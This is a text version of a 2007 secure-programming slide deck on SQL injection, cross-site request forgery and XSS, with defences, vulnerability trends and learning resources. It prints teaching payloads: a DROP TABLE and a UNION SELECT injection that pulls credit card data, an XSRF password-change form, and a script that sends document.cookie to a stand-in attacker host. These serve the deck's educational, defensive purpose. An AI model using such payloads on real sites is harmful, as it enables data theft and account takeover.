1. “What Every Programmer Needs To Know About Security and Where To Learn It” Neil Daswani October 2007 http://www.neildaswani.com/

2. Is the sky falling? TJX (March 2007) –owns TJ Maxx, Marshalls, and other dept stores –attacks exploited WEP used at branches –over 47 million credit card (CC) #s dating back to 2002 CardSystems (June 2005) –credit card payment processing company: out of business –263,000 CC #s stolen from database via SQL Injection –43 million CC #s stored unencrypted / compromised Enter “sql injection” on news.google.com for more... Additional Data Theft: www.privacyrights.org/ar/ChronDataBreaches.htm (153M compromised records; over 300 incidents in 2006 alone)

3. Overview High-Impact Threats & Defenses: SQL Injection and XSRF (Do not try these attacks on real sites!) Vulnerability Trends Where To Learn More: Courses/Certifications, Books, Websites

4. SQL Injection Example Username & Password SELECT passwd FROM USERS WHERE uname IS ‘$username’ Normal Query Web Browser Web Server Database

5. SQL Injection Example Attacker Provides This Input

6. SQL Injection Example SELECT passwd FROM USERS WHERE uname IS ‘’; DROP TABLE USERS; -- ' Malicious Query Eliminates all user accounts Username & Password Web Browser Web Server Database

7. http://xkcd.com/327/

8. View pizza order history: View pizza order history: Month<select> Jan Jan... Dec Dec </select><p> </form> SQL Injection Example

9. SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10 Normal SQL Query For order_month parameter, attacker could input Type 2 Attack 0 OR 1=1 Malicious Query … WHERE userid=4123 AND order_month=0 OR 1=1 WHERE condition is always true! Gives attacker access to other users’ private data! Dec SQL Injection Example

10. All User Data Compromised SQL Injection Example

11. A more damaging breach of user privacy: Attacker is able to –Combine the results of two queries –Empty table from first query with the sensitive credit card info of all users from second query For order_month parameter, attacker could input: 0 AND 1=0 UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards SQL Injection Example

12. Credit Card Info Compromised SQL Injection Example

13. Preventing SQL Injection Whitelisting –Why? Blacklisting chars doesn’t work: Forget to filter out some characters Could prevent valid input (e.g. username O’Brien) –Allow well-defined set of safe values: [A-Za-z0-9]* [0-1][0-9] –Valid input set defined through reg. expressions –Can be implemented in a web application firewall (e.g., mod_security) Escaping –For valid string inputs like username o’connor, use escape characters. Ex: escape(o’connor) = o’’connor (only works for string inputs)

14. Prepared Statements & Bind Variables PreparedStatement ps = db.prepareStatement( "SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=? AND order_month=?"); ps.setInt(1, session.getCurrentUserId()); ps.setInt(2, Integer.parseInt( request.getParameter("month"))); ResultSet res = ps.executeQuery(); Bind Variables: Data Placeholders query parsed w/o parameters bind variables are typed e.g. int, string, etc…*

15. Additional Mitigations What else helps? Limit Privileges (Defense-in-Depth) Harden DB Server and Host OS What else do I need to learn about SQL Injection? Second Order SQL Injection Blind SQL Injection

16. Threats Threats Unvalidated Input –SQL Injection –Cross-Site-Scripting (XSS) Design Errors –Cross-Site-Request-Forgery (XSRF) Boundary Conditions Exception Handling Access Validation

17. Cross-Site-Request Forgery (XSRF) Alice is using our (“good”) web- application: www.bank.com (assume user is logged in w/ cookie) At the same time (i.e. same browser session), she’s also visiting a “malicious” web-application: www.evil.org

18. How XSRF Works /viewbalance Cookie: sessionid=40a4c04de “Your balance is $25,000” Alice bank.com /login.html /auth uname=victim&pass=fmd9032 Cookie: sessionid=40a4c04de

19. evil.org How XSRF Works Alice bank.com /login.html /auth uname=victim&pass=fmd9032 Cookie: sessionid=40a4c04de /evil.html /paybill?addr=123 evil st, amt=$10000 Cookie: sessionid=40a4c04de “OK. Payment Sent!”

20. XSRF: Write-only Malicious site can’t read info (due to same-origin policy), but can make write requests to our app! Can still cause damage –in Alice’s case, attacker gained control of her account with full read/write access! Who should worry about XSRF? –apps w/ user info, profiles (e.g., Facebook) –apps that do financial transactions for users –any app that stores user data

21. Yet Another XSRF: Home Routers [SRJ’07] Fact: 50% of home users use a broadband router with a default or no password Drive-by Pharming attack: User visits malicious site –JavaScript at site scans home network looking for broadband router: Same-Origin-Policy allows “send only” messages Detect success using onerror: –Once found, login to router and change DNS server Problem: “send-only” access is sufficient to reprogram router

22. Preventing XSRF Inspecting Referer Headers –specifies the document originating the request –ok, but not practical since it could be forged or blanked (even by legitimate users) Web Application Firewall –doesn’t work because request looks authentic to bank.com Validation via User-Provided Secret –ask for current password for important transactions Validation via “Action Token” –add special tokens to “genuine” forms to distinguish them from “forged” forms

23. Vulernability Trends (Overall/MITRE) 2006 2001

24. Overall Trends Attacks are increasing Big four are about the same (regardless of vuln database): –Cross-Site-Scripting (XSS, XSRF, XSSI) –Injection (SQL, PHP-includes) –Memory Corruption (buffer overflows, integer overflows, format strings, etc) –Denial-of-Service

25. What should I do? Engineers Developers Programmers Architects 1) Arm yourself! 2) Elect a security czar for each project

26. What Every Engineer Needs To Know... Secure Design: least privilege, fail-safe stance, weakest link, etc. ● Technical Flaws: – XSS / XSRF / XSSI – Injection / Remote Code Execution – Directory Traversal – Race Conditions (e.g., TOCTOU) – Memory Corruption ● Attacks: – Data Theft – Authentication / Authorization Bypass – Denial-of-Service – Privilege Escalation – Information Leakage

27. Where to learn more? Courses Certification Programs Books Websites (not comprehensive)

28. Security Courses Cryptography Upper Division Courses (at almost every major university) Some systems security courses (e.g., CS155 @ Stanford, CS161 @ UC Berkeley) More crypto and security courses listed at: http://avirubin.com/courses.html

29. Stanford Advanced Security Certificate Online (anytime) or On-Campus (one week) Required: 3 core courses; 3 electives Hands-on labs conducting attacks & constructing defenses Security Foundations Certificate also available http://proed.stanford.edu/?advancedsecurity to sign up!

30. Stanford Advanced Security Certificate CORE COURSES –Using Cryptography Correctly –Writing Secure Code –Security Protocols ELECTIVES –Computer Security Management – Recent Threats, Trends & the Law –Designing/Building Secure Networks –Emerging Threats and Defenses –Securing Web Applications –Systems Security SPECIAL ELECTIVE –Computer Security Foundations Certificate

31. Other Security Certification Programs CISSP (offered by ISC 2 ) –prepares for administration / gov't jobs in security –credential can be used for PCI compliance –multiple-choice test GIAC Secure Software Programmer (offered by SANS) –secure programming assessment –multiple choice (questions in development) –new offering: first exam was Aug 2007

32. Books Foundations of Security: What Every Programmer Needs To Know (Daswani / Kern / Kesavan) Security Engineering (Anderson) Building Secure Software (Viega / McGraw) Secure Programming Cookbook (Viega / Messier)

33. Websites OWASP / Top Ten www.owasp.org (chapters in almost every major city) Security Focus / Bugtraq www.securityfocus.com code.google.com/edu

34. OWASP Top 10 A1 Cross Site Scripting (XSS) A2 Injection Flaws (e.g., SQL injection) A3 Malicious File Execution (i.e., PHP) A4 Insecure Direct Object Reference A5 Cross Site Request Forgery (CSRF) A6 Information Leakage and Improper Error Handling A7 Broken Authentication / Session Mgmt A8 Insecure Cryptographic Storage A9 Insecure Communications A10 Failure to Restrict URL Access 2004 ● A1 Unvalidated Input ● A2 Broken Access Control ● A3 Broken Authentication / Session Mg ● A4 Cross Site Scripting ● A5 Buffer Overflow ● A6 Injection Flaws ● A7 Improper Error Handling ● A8 Insecure Storage ● A9 Application Denial of Service ● A10 Insecure Configuration Management 2007

35. Security Focus www.securityfocus.com / Home of Bugtraq Articles / Mailing Lists / Vuln. Reports Focus areas: –Foundations –Microsoft / Unix –IDS –Incident Response –Viruses / Malware –Penetration Testing –Firewalls

36. code.google.com/edu: Web Security Free & available for external use Ex. DoS against web server

37. To conclude... Every engineer should be a software security practitioner We’re looking for some bright engineers! (application security, botnets, etc.) Links / Pointers: http://www.learnsecurity.com/ Click on “Resources” Neil Daswani daswani@google.com http://www.neildaswani.com

38. Backup Slides Follow

39. Last Remarks Interested in jobs? (software security, botnets,...) Items in the back: –Free books –Stanford Security Certification Brochures –Need security help / consulting?

40. Cross-Site Scripting (XSS) What if attacker can get a malicious script to be executed in our application? http://deliver-me-pizza.com/submit_order? addr=123mainst Ex: our app could have a query parameter in the URL and print it out on page –Suppose input data is not filtered –Attacker could inject a malicious script! Other Sources of Untrusted Data –HTML form fields –URL path (e.g. in a Document Not Found error)

41. XSS Example 1. Attacker tricks Alice into visiting his page. 2. Page loads URL of query to our app with this parameter injected: http://deliver-me-pizza.com/submit_order?addr= %3D%20%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C /script%3E%0A alert(document.cookie); translates printed on our HTML source 3. Any arbitrary script attacker chooses, can be executed on our application site! How much damage can the malicious script cause?

42. XSS Exploits Stealing Cookies –the malicious script could cause the browser to send attacker all cookies for our app’s domain. Ex: "> i=new Image(); i.src='http://www.hacker.com/sendmail.php? to=attacker@hacker.com&payload='+document.cookie; –gives attacker full access to Alice’s session Scripting the Vulnerable App –complex script with specific goal –e.g. get personal user info, transfer funds, etc… –doesn’t have to make a direct attack, revealing his IP address, harder to trace Modifying Web Pages

43. Mitigating XSS Input Validation –XSS is not just a input validation problem –strings with HTML metachars not a problem until they’re displayed on the webpage –might be valid elsewhere, e.g. in a database Output Sanitization –check strings as they’re inserted into HTML doc HTML Escaping –escape some chars with their literals –e.g. & = & = &rt; “ = " HTTP-Only Cookies –HTTPOnly attribute on cookie in IE prevents it from being exposed to client-side scripts –can prevent traditional session hijacking –incomplete protection

44. Cross-Domain Security Domain: where our applications and services are hosted Same-Origin-Policy (SOP): script is only allowed to connect back to the origin (domain,port,protocol) from which it was served Cross-domain: security threats due to interactions between our applications and pages on other domains

45. Vulnerability Trends (OS Vendors/MITRE) 20062001

46. Vulnerabilities Stats Disclaimer on Categorization Input Validation Design Errors ● Boundary Conditions ● Exception Handling ● Access Validation source: securityfocus vulnerability database

48. Prepared Statements & Bind Variables Metacharacters (e.g. ‘) in queries provide distinction between data & control Most attacks: data interpreted as control / alters the semantics of a query/cmd Bind Variables: ? placeholders guaranteed to be data (not control) Prepared Statements allow creation of static queries with bind variables → preserves the structure of intended query

49. Source: securityfocus vulnerability database

50. More XSRF Malicious site can initiate HTTP requests to our app on Alice’s behalf, w/o her knowledge –authentication cookies stored in browser cache are sent to our server regardless of who made the request Another Example: change password feature on our app (“update_password”) –Hacker site could execute a script to send a fake password-change request –authenticates b/c cookies are sent

51. More XSRF 1. Alice’s browser loads page from www.evil.org 2. Evil Script runs causing evilform to be submitted with a password-change request to our “good” form: www.bank.com/update_password with a field 3. Browser sends authentication cookies to our app. We’re hoodwinked into thinking the request is from Alice. Her password is changed to evilhax0r ! <form method="POST" name="evilform“ target="hiddenframe" action="https://www.bank.com/update_password"> document.evilform.submit(); evilform

52. Security Books Foundations of Security: What Every Programmer Needs To Know Daswani / Kern / Kesavan Topics: –Secure design principles –Web application attacks & defenses –Intro. to Cryptography Free slides @ www.learnsecurity.com

53. Security Books Security Engineering Ross Anderson Available online (for free) http://www.cl.cam.ac.uk/~rja14/book.html

54. Security Books Building Secure Software Viega / McGraw “Classic Text” Other books by McGraw & Co: - Exploiting Software - Software Security

55. Security Books Secure Programming Cookbook for C and C++ Viega / Messier Lots of code examples on how to use crypto correctly

56. What should I do? Managers (Project, Product, Directors, CIOs, CTOs, etc) 1) Organize to achieve security 2) Modify dev lifecycle as necessary 3) Invest in security training

57. Organizing... Centralization Authority Gatekeepers Advisors Satellites

58. Gatekeepers Centralized Security Department with Approval Authority Security Dept accountable for every line of deployed code, and must provide explicit approval for every deployment. Pros: –High level of accountability –Tight control Cons: –Scalability –Could stifle innovation –Bottleneck –Development might become tight-lipped (or work-around security)

59. Advisors Security Consulting Department with Escalation Authority Security Department provides feedback to product teams when requested, or can actively “probe” Pros –More openness to share risks Cons –Less accountability –Frequent escalation will de-sensitize executives

60. Satellites Decentralized Security Staff / “Virtual” Department Put developers with security expertise on the product teams. Rotate if necessary. Or, train one of the developers on each product team to be “security czar.” Pros –Security recommendations more likely to be implemented Cons –Less flexibility in moving security engineers to most high risk projects fast.